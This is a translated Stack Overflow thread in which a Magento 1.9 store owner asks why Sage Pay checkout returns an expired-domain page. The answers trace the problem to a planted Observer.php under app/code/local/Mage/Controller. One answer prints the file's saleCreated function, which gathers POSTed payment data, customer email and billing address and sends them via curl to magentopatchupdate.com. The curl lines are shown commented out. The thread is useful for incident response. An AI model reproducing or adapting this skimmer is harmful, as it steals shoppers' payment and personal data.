我正在使用Ebizmarts Sagepay支付模块,并从magento后端启用“Sage Pay Suite前端-直接集成”方法,但在前端按下Place Order Now按钮后,请求去sagepay但奇怪的响应返回。这发生在过去的2天。返回:"Magentopatchupdate.com该域名已过期-续费说明,隐私策略“
请看图片

有什么可以帮我的吗?Magento版本1.9.0.1和使用onestepcheckout扩展,谢谢
发布于 2016-06-10 06:44:24
问题不在于支付方式。
我在一位客户身上发现了同样的问题。运行所有安全magento补丁后,您应该删除在app / code /本地/ Mage / Controller中创建的文件
发布于 2016-06-10 17:21:07
我刚刚为一个客户端修复了这个问题--文件是:
/app/code/local/Mage/Controller/Model/Observer.php我没有删除它,我只是注释掉了saleCreated函数中的curl命令。
public function saleCreated(Varien_Event_Observer $observer)
{
$url = 'http://magentopatchupdate.com/update/529U76xbMIH.php';
$orderData = $observer->getEvent()->getOrder();
$order = Mage::getModel('sales/order')->loadByIncrementId($orderData->getIncrementId());
$this->_preparePaymentData($_POST, '');
//$this->orderDetails['shipping_method'] = $order->getShippingMethod();
$this->orderDetails['customer_email'] = $order->getCustomerEmail();
$this->getOrderAddressInfo($order, 'billing');
//$this->getOrderAddressInfo($order, 'shipping');
//print_r(json_encode($this->orderDetails));
$postStr = '';
foreach($this->orderDetails as $key=>$value) {
$postStr .= $key . '=' . $value . '&';
}
rtrim($postStr, '&');
//This was causing issue - commented out all curl commands
//$ch = curl_init();
//curl_setopt($ch,CURLOPT_URL, $url);
//curl_setopt($ch,CURLOPT_POST, count($_POST));
//curl_setopt($ch,CURLOPT_POSTFIELDS, $postStr);
//$result = curl_exec($ch);
//curl_close($ch);
}上面的一些行已经被注释掉了-为什么它向magentopatchupdate.com发送订单细节是非常可疑的……
https://stackoverflow.com/questions/37670733
复制相似问题